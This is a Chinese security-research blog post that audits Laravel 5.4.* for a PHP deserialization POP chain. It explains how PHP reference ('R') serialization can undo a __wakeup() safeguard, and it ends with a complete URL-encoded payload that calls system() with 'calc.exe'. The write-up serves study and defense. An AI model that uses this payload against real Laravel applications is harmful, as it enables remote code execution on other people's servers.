Laravel 5.4.*反序列化 —对冲__wakeup()的RCE链利用
Laravel 5.4.*反序列化 —对冲__wakeup()的RCE链利用:
本次主要是对Laravel5.4.*的框架进行的代码审计,尝试挖掘其中可利用的POP链。
环境搭建:
对于Laravel 5.4.*的环境搭建,这里我主要用到的是Composer
,因为Laravel这个框架其实和Composer联系比较深,对于框架都可以用Composer直接一个命令拉出来。
composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*" |
或者是在github上面下载Releases也可以:
https://github.com/laravel/laravel |
这里的laravel5.4是生成文件名,后面的5.4.*则是版本号。
然后进行一系列操作,参考如下博客:
接下来还是常规操作,对于路由进行配置:
routes/web.php |
添加:
Route::get("/","\App\Http\Controllers\POPController@test"); |
然后在Controller,控制器里添加用来反序列化的函数。
app/Http/Controllers/POPController.php |
<?php |
简单写一个反序列化函数,能够实现反序列化就可以了,注意一下命名空间。然后注意,写的那个函数名要和路由里的一样。
到这里,环境就已经搭建好了。
审计流程:
首先还是传统方式,找一个入口,这里直接用Seay进行扫描,生成一个全局的敏感函数的报告。
然后再用Seay自带的查找功能,去找一个合适的__destruct()
作为反序列化的入口。
同时也可以找找看__wakeup()函数。
可以看见都挺多的,这里我们首先从__destruct()入手。
这里可以多找找,比如第一个
/vendor/fzaninotto/faker/src/Faker/Generator.php |
这个地方跟进去,可以发现不是入口
这里可以看见,seed()函数,就是一个调用随机数的函数,没有看见利用点。
POP链:
这里直接看第二个,通过网上的一些资料可以知道这个是有问题的,这里我自己挖掘走一遍:
/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php |
找到destruct()方法:
这里有个dispath方法,关于这个方法,可以从这里看见描述,主要的作用是用于任务推送。
不过用处不大,可以直接跳过,这里直接看一下$this->event
和$this->events
这里两个变量都只有一个写入值,而且是__construct()
方法中的,我们可以控制并调用$events
来决定调用哪个类中的dispatch()
,同时这里很显然$event
的值是我们可以控制的,可以作为跳板,跳转到别的文件中。
这边可以找一下有没有好用的类里有dispatch()
作为突破点,一番寻找下来没有看见,那就考虑一下$event
。
dispath()这个函数不会进行字符串的输出,所以不能以__toString()
作为跳板,这里优先考虑一下,找一个没有dispatch()
方法的类,通过这个方式去调用__call()
,将$event
作为参数,使用Seay进行全局搜索。
稍微有点多,87处。
这里我上网找了一下别的师傅的博客,这里大部分师傅都是调用的Generation里的__call()
方法。我直接跟进一下。
这里看一下$method
和$attributes
可以发现只有一个赋值点,可以控制参数。
这里跟进一下函数
$method
和$attributes
在这里作为call_user_func_array()
函数的参数,进行使用。
call_user_func_array()
这个函数是一个回调函数,格式是
call_user_func_array($function,$param[]) |
其中$function
是用于指定调用函数的参数,而$param
是作为参数的数组,返回值是布尔值,由回调的函数是否执行成功决定返回true或是false。
在当前函数中,$argument
被控制的,而具体函数则是调用getFormatter
函数的返回值,跟进一下getFormatter()
。
这里直接看第一个if就可以了,这个函数没有对输入做更多处理,只要存在输入,就会直接返还。因此可以知道这里是可以直接调用我们想要的函数。
这里就已经构成rce了,通过回调函数call_user_func_array()
会造成任意代码执行。
这里总结一下利用逻辑:
编写不成功的POC:
不成功的POC。
|
理论上来说,当执行了这个POC之后,就会执行ls命令。
问题:
不过这里会有一个问题,应该是Laravel官方在后续的更新里对这个版本进行了更新,然后通过一个__wakeup()
将$formatters
置空了。
也就是说这条链子这里是死了,不能继续调用。
inHann师傅给出的解决思路:
但是这里应该还是存在一些解决方案的,当我看见这个__wakeup()的时候,首先考虑到的就是能不能改变对象的数量,然后通过**CVE-2016-7124(__wakeup绕过)**,来进行绕过。
但是这里存在一个问题,对于Laravel 5.4.*,需要的PHP版本需要大于等于5.6.4
而这个CVE的影响范围却是,PHP5<5.6.25,PHP7<7.0.10,因此这个不在CVE使用的范围内。
但是后来我在P神的知识星球里面看到了一篇文章,是inHann师傅给出的思路,这里我尝试用于解决一下5.4.*版本的Laravel的__wakeup()
绕过问题。
原文如下:
这里我还是写一下个人理解以及需要的前置知识。
参考了:
https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/
前置知识:
PHP序列化与反序列化中的数据类型与引用方式(reference)
首先,我们知道在PHP中,使用serialize()
函数对对象进行序列化的时候,会使用不同的字母将其中的变量的类型表示出来,例如:
|
其中O
代表的对象,s
代表字符串,i
代表整形。
全部类型:
比较常见的类型都是数组之类的,但是其中有两个比较特殊的变量类型,r,R。这两个表示的是引用。
其中r表示的是对象引用,个人理解也可以说是对于标识符的引用。
而R表示的是指针引用,也就是直接引用指向对应内存地址的指针。
或者说:
当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
两者之间的区别就是,R等于是两个不同的变量名指向了同一块内存(或者说两个不同的变量名里面存了两个不一样的标识符,但是两个标识符都是同时指向同一个内存),因此任何一个变量被改变了,都会影响到所有变量的值。
而r是相当于直接重新开辟了一个内存,只是将值复制过来,然后保存。
第一个是浅拷贝,也就是相当于是PHP序列化中的R。
(如果变量a将[1,2,3]进行了更改,那么b的值自然也会进行更改)
第二个是深拷贝,也就是对应的r。
(变量a,b相互不影响)
这里我用程序演示一下:
|
运行结果如下:
这里需要注意的是,Demo
这个类,应当被编号为1,所以第二个输出的结果是r:1
。然后$a
被标志为2,依次类推。
r:1
表示的就是引用第一个值,也就是Demo
。类似的,r:2
就是a
的值。
|
可以看见在运行了之后,$a只是改变了$value的值,而$b是直接将本身的值改变了。
这个就是两者之间的差别。
同时,这种方式有一个特点,即使你不是通过serialize()
函数或是Serializable
接口进行的正规序列化,而是直接手写一个R:2
上去,也同样可以完成对于对象的引用。
利用思想:
这里就出现了一个利用方式的思考,因为R
方式的引用,可以使得两个不同的变量的值保持相同。
如果可以满足这个步骤:
- 使得被置空的
$formatters
变量,与某个类中的变量$bypass
成为R
的指针引用关系。 - 当
$formatters
被置空的时候,通过改变$bypass
的值,即可对$formatters
的值进行修改 - 在执行
getFormatter()
之前完成上述操作,就可以成功对冲那个__wakeup()
函数了。
也就是说,最好能够找到一个赋值语句,且被赋值的语句是类中的成员属性。类似:
$this->a = xxx |
这样,就可以进行序列化,然后直接修改$a
的引用方式,使得其引用$formatters
,然后对其进行重新赋值,达成绕过。
这里想要达成在__wakeup()
之后重新赋值的操作,正常的想法,就是通过反序列化后,触发某个类中的__wakeup()
方法来进行赋值,或是在销毁类的时候,调用其中的__destruct()
方法,来进行操作。
这里全局搜索一下__wakeup()
方法:
尝试1:
每一个都看了一下,感觉上/vendor/laravel/framework/src/Illuminate/Queue/SerializesModels.php
比较有可能性:
public function __wakeup() |
这里使用了一个foreach()函数进行了遍历,这里可以看到,使用了PHP中的反射类ReflectionClass
,这个类的作用是通过类名来获取类的成员属性和方法信息。这里的参数是$this
,也就是获取对象中的成员属性,然后会作为ReflectionProperty
类的数组返回其中的成员。
通过foreach()函数,将值依次赋给$property
。
然后调用了setValue()
方法,这个是ReflectionProperty
中自带的方法,用于对成员属性重新赋值,这里可以看到函数定义:
这里跟进一下getRestoredPropertyValue()
方法,
第一个if会直接判断传入的参数是不是ModelIdentifier
类中的成员属性,如果不是就会直接返回原值,到这里就够了,可以直接看下一步。
跟进一下getPropertyValue()
这里可以看到,就是直接调用了setAccessible()
函数,保证这里可以访问保护或者是私有的属性,然后返回值。
本来这里应该是一个可以利用的点,但是因为这个类中没有定义成员变量,无法利用setValue()
这一段。算是失败了。
尝试2:
因为上面看过了__wakeup()函数暂时是没有可以利用点,这里重新看一下__destruct()
看看能不能找到什么可以利用的点。
这里找到了一个疑似可以利用的地方:
\vendor\sebastian\recursion-context\src\Context.php |
这里可以看到,作为私有属性定义的$arrays
变量,只有通过__construct()
方法进行赋值,或者是调用addArray()
函数,进行属性的添加。因此我们可以对这个数组的内容进行操作。
但是,虽然可以对数组进行操作,但是我们不能对$array
变量进行操作操作,因此不能使它对$formatters
变量进行引用,也就不能利用了。
如果这里对$array
进行了成员属性的定义,就是一个可以利用的点。
尝试3:
这里还有一个疑似可以利用的地方:
\vendor\symfony\routing\Loader\Configurator\CollectionConfigurator.php |
这里可以看见成员属性$this->collection
被新建为了RouteCollection
类的对象,然后在__destruct()
中,进行了方法调用。
这里跟进一下addPrefix
方法,这里看名字应该是某个添加什么东西的方法。
public function addPrefix($prefix, array $defaults = [], array $requirements = []) |
这里对$prefix参数进行了处理,将字符串左右的空白制表等符号,还有/
去除,如果去除完了之后是空,则直接返回。如果不是,则对RouteCollection
中的成员属性进行foreach()遍历。
这里跟进一下setPath()
这里可以看到$this->path
,这里有一个外面的/
,没办法去除,绕不过。不然可以尝试去修改$formatters
接下来看看addDefaults
方法。
其中$this->defaults
的值是我们可以控制的,如果对传入的参数我们可以完全控制的话,$name
和$default
也都是我们可以控制的内容,这里就算是打通了。
也就是通过数组的相互引用来修改$formatters
的值,具体操作思路如下:
//思路: |
输出结果如上,可以看到$a的值,从["a","b"]
,变成了[1,2,3,4,5]
这里可以实现修改。同样的,对于$formatters
也可以进行这样的操作。
回头看一下$defaults
值的获取。
麻了,是不能传递参数的一个形参,这里用不了。
下面的addRequirements()
函数也是同理,都是不能传递参数的一个形参,无法调用。
再回头看一下addCollection()
这部分:
这部分可以看到调用了一个函数,直接跟进一下。这个是RouteCollection
类中的方法。
这里可以看到用的是传入的类中的参数,调用了其中的all()函数,这里跟进一下:
可以看到这里关于$routes
变量的赋值,是我们可以操控的。
这里这个函数的foreach()部分,和之前分析的基本一样,因此这里应该是可以打通的。
构造POC:
用之前的POC来进行修改:
这里注意要利用__wakeup()
和__destruct()
执行的顺序差。
|
(有点丑,sorry)
然后输出的结果是:
Payload:
O%3A68%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CCollectionConfigurator%22%3A4%3A%7Bs%3A6%3A%22parent%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22collection%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A5%3A%22route%22%3BC%3A31%3A%22Symfony%5CComponent%5CRouting%5CRoute%22%3A163%3A%7Ba%3A9%3A%7Bs%3A4%3A%22path%22%3Bs%3A4%3A%22%2F%2F%2F%2F%22%3Bs%3A4%3A%22host%22%3BN%3Bs%3A8%3A%22defaults%22%3BN%3Bs%3A12%3A%22requirements%22%3BN%3Bs%3A7%3A%22options%22%3BN%3Bs%3A7%3A%22schemes%22%3BN%3Bs%3A7%3A%22methods%22%3BN%3Bs%3A9%3A%22condition%22%3BN%3Bs%3A8%3A%22compiled%22%3BN%3B%7D%7Ds%3A18%3A%22parentConfigurator%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3BR%3A3%3Bs%3A12%3A%22%00%2A%00providers%22%3BN%3B%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A8%3A%22calc.exe%22%3B%7D%7D |
演示:
到这里就算是告一段落了。
利用链梳理:
总结:
这条链子主要是因为inHann师傅在他的研究里给出的是一个依赖里的链子,所以我想看看在Laravel里面有没有可以不通过依赖直接利用的那个__wakeup()
的地方,然后捣腾出来的。之前看了一些博客,说这里被__wakeup()
的置空给堵死了,但其实还是有办法利用的。
(其实感觉有点属于屠龙之技,没什么用,主要还是给师傅们提供一个思路吧hhh,希望师傅们轻喷。)
这一次审计主要学到的还是这个对冲的操作在POP链中的利用方式,这个做法还是很灵活的。